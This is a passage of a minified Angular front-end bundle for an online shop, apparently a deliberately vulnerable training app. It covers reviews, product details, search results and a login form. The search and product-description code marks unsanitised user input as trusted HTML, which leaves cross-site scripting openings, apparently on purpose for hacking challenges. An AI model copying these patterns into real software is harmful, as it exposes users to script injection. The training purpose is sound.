this.http.put(`${this.host}/${e}/reviews`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}patch(e){return this.http.patch(this.host+"/reviews",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}like(e){return this.http.post(this.host+"/reviews",{id:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();function xo(n,a){1&n&&(t.TgZ(0,"mat-error",1),t._uU(1,"MANDATORY_REVIEW"),t.qZA())}O.vI.add(g.XCy,g.OFe);let bo=(()=>{class n{constructor(e,o,i,r,l){this.data=e,this.productReviewService=o,this.dialogRef=i,this.snackBar=r,this.snackBarHelperService=l,this.editReviewControl=new s.p4("",[s.kI.required,s.kI.minLength(1),s.kI.maxLength(160)]),this.error=null}ngOnInit(){this.editReviewControl.setValue(this.data.reviewData.message)}editReview(){this.productReviewService.patch({id:this.data.reviewData._id,message:this.editReviewControl.value}).subscribe(()=>{this.dialogRef.close()},e=>{console.log(e),this.error=e}),this.snackBarHelperService.open("CONFIRM_CHANGES_SAVED")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI),t.Y36(Kt),t.Y36(N.so),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-review-edit"]],decls:27,vars:13,consts:[["fxLayout","column",1,"container","mat-typography"],["translate",""],["appearance","outline","color","accent","hintLabel","Max 160 characters","floatLabel","always"],["matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to edit a product review",3,"formControl","placeholder","focus"],["textPut",""],["align","end"],["translate","",4,"ngIf"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog"],[1,"material-icons"],["type","submit","mat-raised-button","","color","primary","aria-label","Send the review",2,"margin-left","5px",3,"disabled","click"]],template:function(e,o){if(1&e&&(t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"h1",1),t._uU(3,"LABEL_EDIT_REVIEW"),t.qZA(),t.TgZ(4,"div")(5,"mat-form-field",2)(6,"mat-label",1),t._uU(7,"LABEL_REVIEW"),t.qZA(),t.TgZ(8,"textarea",3,4),t.NdJ("focus",function(){return o.error=null}),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"mat-hint",5),t._uU(12),t.qZA(),t.YNc(13,xo,2,0,"mat-error",6),t.qZA()()()(),t.TgZ(14,"mat-dialog-actions",5)(15,"button",7)(16,"i",8),t._uU(17," close "),t.qZA(),t.TgZ(18,"span"),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t.TgZ(21,"button",9),t.NdJ("click",function(){return o.editReview()}),t.TgZ(22,"i",8),t._uU(23," send "),t.qZA(),t.TgZ(24,"span"),t._uU(25),t.ALo(26,"translate"),t.qZA()()()),2&e){const i=t.MAs(9);t.xp6(8),t.s9C("placeholder",t.lcZ(10,7,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.editReviewControl),t.xp6(4),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(1),t.Q6J("ngIf",o.editReviewControl.invalid),t.xp6(6),t.hij(" ",t.lcZ(20,9,"BTN_CLOSE"),""),t.xp6(2),t.Q6J("disabled",o.editReviewControl.invalid),t.xp6(4),t.hij(" ",t.lcZ(26,11,"BTN_SUBMIT"),"")}},dependencies:[h.O5,u.Pi,p.xw,s.Fj,s.JJ,s.nD,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,u.X$],styles:["mat-form-field[_ngcontent-%COMP%]{width:100%}"]}),n})();var z=c(8729),V=c(7084);function To(n,a){if(1&n&&(t.TgZ(0,"div",24),t.ALo(1,"translate"),t.TgZ(2,"span",25),t._UZ(3,"i",26),t.TgZ(4,"span",27),t._uU(5),t.qZA()()()),2&n){const e=t.oxw();t.s9C("matTooltip",t.lcZ(1,2,"LABEL_BONUS")),t.xp6(5),t.Oqu(e.data.productData.points)}}function Ao(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div",29)(1,"div",30)(2,"div",31),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG("Anonymous"!==r.author&&r.author===l.author&&l.editReview(r))}),t.ALo(3,"translate"),t.TgZ(4,"cite"),t._uU(5),t.qZA(),t.TgZ(6,"p"),t._uU(7),t.qZA()(),t.TgZ(8,"div")(9,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.likeReview(r))}),t.TgZ(10,"span",25)(11,"mat-icon"),t._uU(12,"thumb_up"),t.qZA(),t.TgZ(13,"span",33),t._uU(14),t.qZA()()()()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(2),t.s9C("matTooltipDisabled",e.author!==o.author),t.s9C("matTooltip",t.lcZ(3,6,"LABEL_EDIT_REVIEW")),t.xp6(3),t.Oqu(e.author),t.xp6(2),t.Oqu(e.message),t.xp6(2),t.Q6J("disabled",e.liked||!o.isLoggedIn()),t.xp6(5),t.Oqu(e.likesCount)}}function yo(n,a){if(1&n&&(t.TgZ(0,"div"),t.YNc(1,Ao,15,8,"div",28),t.ALo(2,"async"),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Q6J("ngForOf",t.lcZ(2,1,e.reviews$))}}function Zo(n,a){1&n&&(t.TgZ(0,"div")(1,"span",34),t._uU(2," EMPTY_REVIEW_LIST "),t.qZA()())}const wo=function(){return{length:"160"}};O.vI.add(g.XCy,g.OFe,g.yXf,g.u8Q,g.nmd);let ye=(()=>{class n{constructor(e,o,i,r,l,m){this.dialog=e,this.data=o,this.productReviewService=i,this.userService=r,this.snackBar=l,this.snackBarHelperService=m,this.author="Anonymous",this.reviewControl=new s.p4("",[s.kI.maxLength(160)])}ngOnInit(){this.data.productData.points=Math.round(this.data.productData.price/10),this.reviews$=this.productReviewService.get(this.data.productData.id),this.userSubscription=this.userService.whoAmI().subscribe(e=>{this.author=e?.email?e.email:"Anonymous"},e=>{console.log(e)})}ngOnDestroy(){this.userSubscription&&this.userSubscription.unsubscribe()}addReview(e){const o={message:e.value,author:this.author};e.value="",this.productReviewService.create(this.data.productData.id,o).subscribe(()=>{this.reviews$=this.productReviewService.get(this.data.productData.id)},i=>{console.log(i)}),this.snackBarHelperService.open("CONFIRM_REVIEW_SAVED")}editReview(e){this.dialog.open(bo,{width:"500px",height:"max-content",data:{reviewData:e}}).afterClosed().subscribe(()=>this.reviews$=this.productReviewService.get(this.data.productData.id))}likeReview(e){this.productReviewService.like(e._id).subscribe(()=>{console.log("Liked "+e._id)}),setTimeout(()=>this.reviews$=this.productReviewService.get(this.data.productData.id),200)}isLoggedIn(){return localStorage.getItem("token")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(N.WI),t.Y36(Kt),t.Y36(R),t.Y36(ut.ux),t.Y36(J.H))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-product-details"]],decls:59,vars:36,consts:[["fxLayout","column",1,"container","mat-typography"],["fxLayout","row","fxLayout.lt-sm","column","fxLayoutGap","20px"],["fxFlex","noshrink"],[1,"img-thumbnail",3,"src","alt"],[3,"innerHTML"],[1,"item-price"],["aria-label","Bonus points when buying the product",3,"matTooltip",4,"ngIf"],[1,"detail-divider"],["mat-button","",2,"height","0","position","absolute"],["aria-label","Expand for Reviews",1,"mat-elevation-z0"],["translate","",2,"margin-right","5px"],[4,"ngIf","ngIfElse"],["emptyResult",""],["translate",""],["appearance","outline","color","accent","floatLabel","always"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["cols","50","matInput","","matTextareaAutosize","","matAutosizeMinRows","2","maxlength","160","matAutosizeMaxRows","4","aria-label","Text field to review a product",3,"formControl","placeholder"],["textPut",""],["align","end"],["align","end",1,"dialogAction"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Send the review",1,"buttons",2,"margin-bottom","5px","margin-top","5px","margin-left","5px",3,"disabled","click"],["aria-label","Bonus points when buying the product",3,"matTooltip"],[1,"fa-2x","fa-layers","fa-fw"],[1,"fas","fa-crown"],[1,"fa-layers-counter","fa-layers-bottom-left","fa-2x","warn-notification",2,"font-size","47px"],["class","comment",4,"ngFor","ngForOf"],[1,"comment"],["fxLayout","row"],["matTooltipPosition","right",1,"review-text",3,"matTooltipDisabled","matTooltip","click"],["mat-icon-button","","aria-label","Rate a helpful review",1,"rw-button",3,"disabled","click"],[1,"fa-layers-counter","fa-layers-bottom-right","accent-notification",2,"font-size","32px"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e){const i=t.EpF();t.TgZ(0,"mat-dialog-content")(1,"div",0)(2,"div",1)(3,"div",2),t._UZ(4,"img",3),t.qZA(),t.TgZ(5,"div")(6,"h1"),t._uU(7),t.qZA(),t._UZ(8,"div",4)(9,"br"),t.TgZ(10,"div")(11,"p",5),t._uU(12),t.qZA(),t.YNc(13,To,6,4,"div",6),t.qZA()()(),t._UZ(14,"mat-divider",7)(15,"button",8),t.TgZ(16,"mat-expansion-panel",9)(17,"mat-expansion-panel-header")(18,"mat-panel-title")(19,"span",10),t._uU(20,"LABEL_REVIEWS"),t.qZA(),t.TgZ(21,"span"),t._uU(22),t.ALo(23,"async"),t.qZA()()(),t._UZ(24,"button",8),t.YNc(25,yo,3,3,"div",11),t.ALo(26,"async"),t.YNc(27,Zo,3,0,"ng-template",null,12,t.W1O),t.qZA(),t.TgZ(29,"div"),t._UZ(30,"mat-divider",7),t.TgZ(31,"h4",13),t._uU(32,"WRITE_REVIEW"),t.qZA(),t.TgZ(33,"mat-form-field",14)(34,"mat-label",13),t._uU(35,"LABEL_REVIEW"),t.qZA(),t.TgZ(36,"mat-hint",13),t._UZ(37,"i",15),t.TgZ(38,"em",16),t._uU(39),t.ALo(40,"translate"),t.qZA()(),t._UZ(41,"textarea",17,18),t.ALo(43,"translate"),t.TgZ(44,"mat-hint",19),t._uU(45),t.qZA()(),t.TgZ(46,"mat-dialog-actions",20)(47,"button",21)(48,"i",22),t._uU(49," close "),t.qZA(),t.TgZ(50,"span"),t._uU(51),t.ALo(52,"translate"),t.qZA()(),t.TgZ(53,"button",23),t.NdJ("click",function(){t.CHM(i);const l=t.MAs(42);return t.KtG(o.addReview(l))}),t.TgZ(54,"i",22),t._uU(55," send "),t.qZA(),t.TgZ(56,"span"),t._uU(57),t.ALo(58,"translate"),t.qZA()()()()()()}if(2&e){const i=t.MAs(28),r=t.MAs(42);let l,m;t.xp6(4),t.s9C("alt",o.data.productData.name),t.Q6J("src","assets/public/images/products/"+o.data.productData.image,t.LSH),t.xp6(3),t.Oqu(o.data.productData.name),t.xp6(1),t.Q6J("innerHTML",o.data.productData.description,t.oJD),t.xp6(4),t.hij("",o.data.productData.price,"\\xa4"),t.xp6(1),t.Q6J("ngIf",o.data.productData.points>0),t.xp6(9),t.hij("(",null==(l=t.lcZ(23,22,o.reviews$))?null:l.length,")"),t.xp6(3),t.Q6J("ngIf",(null==(m=t.lcZ(26,24,o.reviews$))?null:m.length)>=1)("ngIfElse",i),t.xp6(6),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.xp6(6),t.Oqu(t.xi3(40,26,"MAX_TEXTAREA_LENGTH",t.DdM(35,wo))),t.xp6(2),t.s9C("placeholder",t.lcZ(43,29,"WRITE_REVIEW_PLACEHOLDER")),t.Q6J("formControl",o.reviewControl),t.xp6(4),t.hij("",(null==r.value?null:r.value.length)||0,"/160"),t.xp6(6),t.hij(" ",t.lcZ(52,31,"BTN_CLOSE"),""),t.xp6(2),t.Udp("display",o.isLoggedIn()?"block":"none"),t.Q6J("disabled",!r.value.trim()),t.xp6(4),t.hij(" ",t.lcZ(58,33,"BTN_SUBMIT")," ")}},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.yH,s.Fj,s.JJ,s.nD,s.oH,F.Hw,f.KE,f.bx,f.hX,x.lW,B.Nt,N.ZT,N.xY,N.H8,z.d,V.ib,V.yz,V.yK,Q.gM,h.Ov,u.X$],styles:[".img-thumbnail[_ngcontent-%COMP%]{height:auto;max-width:100%;padding:0;width:200px}mat-form-field[_ngcontent-%COMP%]{width:100%}p[_ngcontent-%COMP%]{word-break:break-all}.btn-container[_ngcontent-%COMP%] button[_ngcontent-%COMP%]:nth-child(2){left:530px;width:50px}.detail-divider[_ngcontent-%COMP%]{margin-bottom:12px;margin-top:12px}.rw-button[_ngcontent-%COMP%]{margin-left:8px}.comment[_ngcontent-%COMP%]{margin-bottom:8px}.review-link[_ngcontent-%COMP%]{font-size:11px;margin-top:-10px;text-decoration:none}#submitButton[_ngcontent-%COMP%]{float:right}.item-price[_ngcontent-%COMP%]{float:left;margin-right:40px;margin-top:8px}.noResultText[_ngcontent-%COMP%]{display:block;font-size:small;margin-left:auto;margin-right:auto;text-align:center}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}.buttons[_ngcontent-%COMP%]{padding-left:13px;padding-right:13px}"]}),n})(),Pt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Products"}search(e){return this.http.get(`${this.hostServer}/rest/products/search?q=${e}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}find(e){return this.http.get(this.host+"/",{params:e}).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}get(e){return this.http.get(`${this.host}/${e}?d=${encodeURIComponent((new Date).toDateString())}`).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var xt=c(8739),Nt=c(567),Ze=c(42);let st=(()=>{class n{constructor(e){this.ngZone=e,this.ngZone.runOutsideAngular(()=>{this._socket="."===P.N.hostServer?(0,Ze.io)(window.location.origin,{path:(window.location.pathname.endsWith("/")?window.location.pathname:window.location.pathname+"/")+"socket.io"}):(0,Ze.io)(P.N.hostServer)})}socket(){return this._socket}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(t.R0b))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})(),Wt=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Quantitys"}getAll(){return this.http.get(this.host+"/").pipe((0,C.U)(e=>e.data),(0,_.K)(e=>{throw e}))}put(e,o){return this.http.put(`${this.host}/${e}`,o).pipe((0,C.U)(i=>i.data),(0,_.K)(i=>{throw i}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var zt=c(782);function So(n,a){if(1&n&&(t.TgZ(0,"div")(1,"span"),t._uU(2),t.ALo(3,"translate"),t.qZA(),t._UZ(4,"span",9),t.qZA()),2&n){const e=t.oxw();t.xp6(2),t.hij("",t.lcZ(3,2,"TITLE_SEARCH_RESULTS")," - "),t.xp6(2),t.Q6J("innerHTML",e.searchValue,t.oJD)}}function ko(n,a){1&n&&(t.TgZ(0,"div"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.Oqu(t.lcZ(2,1,"TITLE_ALL_PRODUCTS")))}const Io=function(n){return{quantity:n}};function Oo(n,a){if(1&n&&(t.TgZ(0,"div",24)(1,"span",25),t._uU(2,"LABEL_ONLY_QUANTITY_LEFT"),t.qZA()()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.Q6J("translateParams",t.VKq(1,Io,e.quantity))}}function Uo(n,a){1&n&&(t.TgZ(0,"div",26)(1,"span",27),t._uU(2,"LABEL_SOLD_OUT"),t.qZA()())}function Lo(n,a){if(1&n&&(t.TgZ(0,"span"),t._uU(1),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(1),t.hij("",e.price,"\\xa4")}}function Po(n,a){if(1&n&&(t.TgZ(0,"span")(1,"s"),t._uU(2),t.qZA(),t._uU(3),t.qZA()),2&n){const e=t.oxw().$implicit;t.xp6(2),t.Oqu(e.price),t.xp6(1),t.hij(" ",e.deluxePrice,"\\xa4")}}function No(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw().$implicit,r=t.oxw(2);return t.KtG(r.addToBasket(i.id))}),t.TgZ(1,"span",27),t._uU(2,"ADD_BASKET"),t.qZA()()}}function Eo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-grid-tile")(1,"mat-card",13),t.YNc(2,Oo,3,3,"div",14),t.YNc(3,Uo,3,0,"div",15),t.TgZ(4,"div",16),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw(2);return t.KtG(l.showDetail(r))}),t.TgZ(5,"div",17),t._UZ(6,"img",18),t.qZA(),t.TgZ(7,"div",19)(8,"div",20),t._uU(9),t.qZA(),t.TgZ(10,"div",21),t.YNc(11,Lo,2,1,"span",3),t.YNc(12,Po,4,2,"span",3),t.qZA()()(),t.TgZ(13,"div",22),t.YNc(14,No,3,0,"button",23),t.qZA()()()}if(2&n){const e=a.$implicit,o=t.oxw(2);t.xp6(1),t.Udp("width","100%"),t.xp6(1),t.Q6J("ngIf",e.quantity<=5&&e.quantity>0),t.xp6(1),t.Q6J("ngIf",e.quantity<=0),t.xp6(3),t.s9C("alt",e.name),t.Q6J("src","assets/public/images/products/"+e.image,t.LSH),t.xp6(3),t.hij(" ",e.name," "),t.xp6(2),t.Q6J("ngIf",!o.isDeluxe()||e.price===e.deluxePrice),t.xp6(1),t.Q6J("ngIf",o.isDeluxe()&&e.price!==e.deluxePrice),t.xp6(2),t.Q6J("ngIf",o.isLoggedIn())}}function Mo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"div")(1,"mat-grid-list",10,11),t.NdJ("resize",function(i){t.CHM(e);const r=t.oxw();return t.KtG(r.onResize(i))},!1,t.Jf7),t.YNc(3,Eo,15,10,"mat-grid-tile",12),t.ALo(4,"async"),t.qZA()()}if(2&n){const e=t.oxw();t.xp6(1),t.Q6J("cols",e.breakpoint),t.xp6(2),t.Q6J("ngForOf",t.lcZ(4,2,e.gridDataSource))}}function Do(n,a){1&n&&(t.TgZ(0,"mat-card",29),t._UZ(1,"img",30),t.TgZ(2,"mat-card-title")(3,"span",31),t._uU(4," NO_SEARCH_RESULT "),t.qZA()(),t.TgZ(5,"mat-card-content")(6,"span",31),t._uU(7," EMPTY_SEARCH_RESULT "),t.qZA()()())}O.vI.add(g.Mdf,g.qD8);let $t=(()=>{class n{constructor(e,o,i,r,l,m,v,A,q,Y,dt,wt,St){this.deluxeGuard=e,this.dialog=o,this.productService=i,this.quantityService=r,this.basketService=l,this.translateService=m,this.router=v,this.route=A,this.sanitizer=q,this.ngZone=Y,this.io=dt,this.snackBarHelperService=wt,this.cdRef=St,this.displayedColumns=["Image","Product","Description","Price","Select"],this.pageSizeOptions=[],this.resultsLength=0,this.paginator=null,this.breakpoint=6,this.emptyState=!1}ngAfterViewInit(){const e=this.productService.search(""),o=this.quantityService.getAll();(0,Nt.D)([o,e]).subscribe(([i,r])=>{const l=[];this.tableData=r,this.trustProductDescription(r);for(const v of r)l.push({name:v.name,price:v.price,deluxePrice:v.deluxePrice,id:v.id,image:v.image,description:v.description});for(const v of i){const A=l.find(q=>q.id===v.ProductId);void 0!==A&&(A.quantity=v.quantity)}this.dataSource=new d.by(l);for(let v=1;v<=Math.ceil(this.dataSource.data.length/12);v++)this.pageSizeOptions.push(12*v);this.paginator.pageSizeOptions=this.pageSizeOptions,this.dataSource.paginator=this.paginator,this.gridDataSource=this.dataSource.connect(),this.resultsLength=this.dataSource.data.length,this.filterTable(),this.routerSubscription=this.router.events.subscribe(()=>{this.filterTable()});const m=this.route.snapshot.queryParams.challenge;m&&this.route.snapshot.url.join("").match(/hacking-instructor/)&&this.startHackingInstructor(decodeURIComponent(m)),window.innerWidth<2600?(this.breakpoint=4,window.innerWidth<1740&&(this.breakpoint=3,window.innerWidth<1280&&(this.breakpoint=2,window.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6,this.cdRef.detectChanges()},i=>{console.log(i)})}trustProductDescription(e){for(let o=0;o<e.length;o++)e[o].description=this.sanitizer.bypassSecurityTrustHtml(e[o].description)}ngOnDestroy(){this.routerSubscription&&this.routerSubscription.unsubscribe(),this.productSubscription&&this.productSubscription.unsubscribe(),this.dataSource&&this.dataSource.disconnect()}filterTable(){let e=this.route.snapshot.queryParams.q;e?(e=e.trim(),this.ngZone.runOutsideAngular(()=>{this.io.socket().emit("verifyLocalXssChallenge",e)}),this.dataSource.filter=e.toLowerCase(),this.searchValue=this.sanitizer.bypassSecurityTrustHtml(e),this.gridDataSource.subscribe(o=>{this.emptyState=0===o.length})):(this.dataSource.filter="",this.searchValue=void 0,this.emptyState=!1)}startHackingInstructor(e){console.log(`Starting instructions for challenge "${e}"`),Promise.resolve().then(c.bind(c,1096)).then(o=>{o.startHackingInstructorFor(e)})}showDetail(e){this.dialog.open(ye,{width:"500px",height:"max-content",data:{productData:e}})}addToBasket(e){this.basketService.find(Number(sessionStorage.getItem("bid"))).subscribe(o=>{const i=o.Products;let r=!1;for(let l=0;l<i.length;l++)if(i[l].id===e){r=!0,this.basketService.get(i[l].BasketItem.id).subscribe(m=>{this.basketService.put(m.id,{quantity:m.quantity+1}).subscribe(A=>{this.productService.get(A.ProductId).subscribe(q=>{this.translateService.get("BASKET_ADD_SAME_PRODUCT",{product:q.name}).subscribe(Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()},Y=>{this.snackBarHelperService.open(Y,"confirmBar"),this.basketService.updateNumberOfCartItems()})},q=>{console.log(q)})},A=>{this.snackBarHelperService.open(A.error?.error,"errorBar"),console.log(A)})},m=>{console.log(m)});break}r||this.basketService.save({ProductId:e,BasketId:sessionStorage.getItem("bid"),quantity:1}).subscribe(l=>{this.productService.get(l.ProductId).subscribe(m=>{this.translateService.get("BASKET_ADD_PRODUCT",{product:m.name}).subscribe(v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()},v=>{this.snackBarHelperService.open(v,"confirmBar"),this.basketService.updateNumberOfCartItems()})},m=>{console.log(m)})},l=>{this.snackBarHelperService.open(l.error?.error,"errorBar"),console.log(l)})},o=>{console.log(o)})}isLoggedIn(){return localStorage.getItem("token")}onResize(e){e.target.innerWidth<2600?(this.breakpoint=4,e.target.innerWidth<1740&&(this.breakpoint=3,e.target.innerWidth<1280&&(this.breakpoint=2,e.target.innerWidth<850&&(this.breakpoint=1)))):this.breakpoint=6}isDeluxe(){return this.deluxeGuard.isDeluxe()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(ht),t.Y36(N.uw),t.Y36(Pt),t.Y36(Wt),t.Y36(X),t.Y36(u.sK),t.Y36(U.F0),t.Y36(U.gz),t.Y36(k.H7),t.Y36(t.R0b),t.Y36(st),t.Y36(J.H),t.Y36(t.sBO))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-search-result"]],viewQuery:function(e,o){if(1&e&&t.Gf(xt.NW,7),2&e){let i;t.iGM(i=t.CRH())&&(o.paginator=i.first)}},decls:12,vars:7,consts:[["fxLayoutAlign","center"],[1,"table-container","custom-slate"],[1,"heading","mat-elevation-z6"],[4,"ngIf"],["id","search-result-heading"],[4,"ngIf","ngIfElse"],["emptyResult",""],["color","accent",1,"mat-elevation-z6",3,"pageSize","pageSizeOptions","length"],["paginator",""],["id","searchValue",3,"innerHTML"],["gutterSize","30px",3,"cols","resize"],["table",""],[4,"ngFor","ngForOf"],[1,"mat-elevation-z6","ribbon-card"],["class","ribbon ribbon-top-left",4,"ngIf"],["class","ribbon ribbon-top-left ribbon-sold",4,"ngIf"],["aria-label","Click for more information about the product","matTooltip","Click for more information","matTooltipPosition","above",1,"product",3,"click"],["fxFlexAlign","center","fxFlex","60%",1,"img-container"],["mat-card-image","","role","button",1,"img-responsive","img-thumbnail",3,"src","alt"],["fxFlexAlign","center","fxFlex","40%"],[1,"item-name"],[1,"item-price"],[2,"display","flex","justify-content","center"],["aria-label","Add to Basket","class","btn-basket","color","primary","mat-button","","mat-raised-button","",3,"click",4,"ngIf"],[1,"ribbon","ribbon-top-left"],["translate","",3,"translateParams"],[1,"ribbon","ribbon-top-left","ribbon-sold"],["translate",""],["aria-label","Add to Basket","color","primary","mat-button","","mat-raised-button","",1,"btn-basket",3,"click"],[1,"mat-elevation-z6","emptyState"],["alt"," No results found","src","assets/public/images/products/no-results.png",1,"img-responsive","noResult"],["translate","",1,"noResultText"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"div",1)(2,"div",2),t.YNc(3,So,5,4,"div",3),t.YNc(4,ko,3,3,"div",3),t._UZ(5,"div",4),t.qZA(),t.YNc(6,Mo,5,4,"div",5),t.YNc(7,Do,8,0,"ng-template",null,6,t.W1O),t._UZ(9,"mat-divider")(10,"mat-paginator",7,8),t.qZA()()),2&e){const i=t.MAs(8);t.xp6(3),t.Q6J("ngIf",o.searchValue),t.xp6(1),t.Q6J("ngIf",!o.searchValue),t.xp6(2),t.Q6J("ngIf",!o.emptyState)("ngIfElse",i),t.xp6(4),t.Q6J("pageSize",12)("pageSizeOptions",o.pageSizeOptions)("length",o.resultsLength)}},dependencies:[h.sg,h.O5,u.Pi,p.Wh,p.XD,p.yH,x.lW,xt.NW,T.a8,T.dn,T.n5,T.G2,z.d,Q.gM,zt.Il,zt.DX,h.Ov,u.X$],styles:[\'.table-container[_ngcontent-%COMP%]{min-width:350px;width:80%}.heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.2);font-size:x-large;justify-content:center;padding:12px 20px}.img-thumbnail[_ngcontent-%COMP%]{width:100%}.product[_ngcontent-%COMP%]{cursor:pointer}.btn-basket[_ngcontent-%COMP%]{bottom:10%}mat-card[_ngcontent-%COMP%]{height:calc(100% - 70px)}.item-price[_ngcontent-%COMP%]{font-size:initial;margin-top:12px;text-align:center}.item-name[_ngcontent-%COMP%]{font-size:large;text-align:center}.emptyState[_ngcontent-%COMP%]{display:block;height:auto!important;margin:20px auto;width:50%}.noResult[_ngcontent-%COMP%]{display:block;margin-left:auto;margin-right:auto;width:60%}.noResultText[_ngcontent-%COMP%]{display:block;margin-top:10px;text-align:center}.ribbon-card[_ngcontent-%COMP%]{position:relative}.ribbon[_ngcontent-%COMP%]{height:150px;overflow:hidden;pointer-events:none;position:absolute;width:150px}.ribbon[_ngcontent-%COMP%]:before{content:"";display:block;position:absolute;z-index:-1}.ribbon[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{box-shadow:0 5px 10px #0000001a;color:#fff;display:block;font:700 18px/1 Lato,sans-serif;padding:15px 0;position:absolute;text-align:center;text-shadow:0 1px 1px rgba(0,0,0,.2);width:225px}.ribbon-top-left[_ngcontent-%COMP%]{left:-10px;top:-10px}.ribbon-top-left[_ngcontent-%COMP%]:before{border-left-color:transparent;border-top-color:transparent;right:0;top:0}.ribbon-top-left[_ngcontent-%COMP%] span[_ngcontent-%COMP%]{right:-25px;top:30px;transform:rotate(-45deg)}\']}),n})(),Vt=(()=>{class n{get nativeWindow(){return function qo(){return window}()}}return n.\\u0275fac=function(e){return new(e||n)},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var Xt=c(6709);function Fo(n,a){if(1&n&&(t.TgZ(0,"div",20),t._uU(1),t.qZA()),2&n){const e=t.oxw();t.xp6(1),t.Oqu(e.error)}}function Bo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_EMAIL"),t.qZA())}function Ro(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",21),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",22),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"SHOW_PWD_TOOLTIP"))}function Yo(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",23),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.hide=!i.hide)}),t.ALo(1,"translate"),t._UZ(2,"i",24),t.qZA()}2&n&&t.s9C("matTooltip",t.lcZ(1,1,"HIDE_PWD_TOOLTIP"))}function Jo(n,a){1&n&&(t.TgZ(0,"mat-error",5),t._uU(1,"MANDATORY_PASSWORD"),t.qZA())}function Qo(n,a){1&n&&(t.TgZ(0,"div",25)(1,"div",26),t._UZ(2,"div"),t.qZA(),t.TgZ(3,"div",27),t._uU(4,"LABEL_OR"),t.qZA(),t.TgZ(5,"div",26),t._UZ(6,"div"),t.qZA()())}function Ho(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"button",28),t.NdJ("click",function(){t.CHM(e);const i=t.oxw();return t.KtG(i.googleLogin())}),t._UZ(1,"i",29),t._uU(2),t.ALo(3,"translate"),t.qZA()}2&n&&(t.xp6(2),t.hij(" ",t.lcZ(3,1,"BTN_GOOGLE_LOGIN")," "))}O.vI.add(g.DD4,g.Mdf,g.Aq,Z.xYR);let jo=(()=>{class 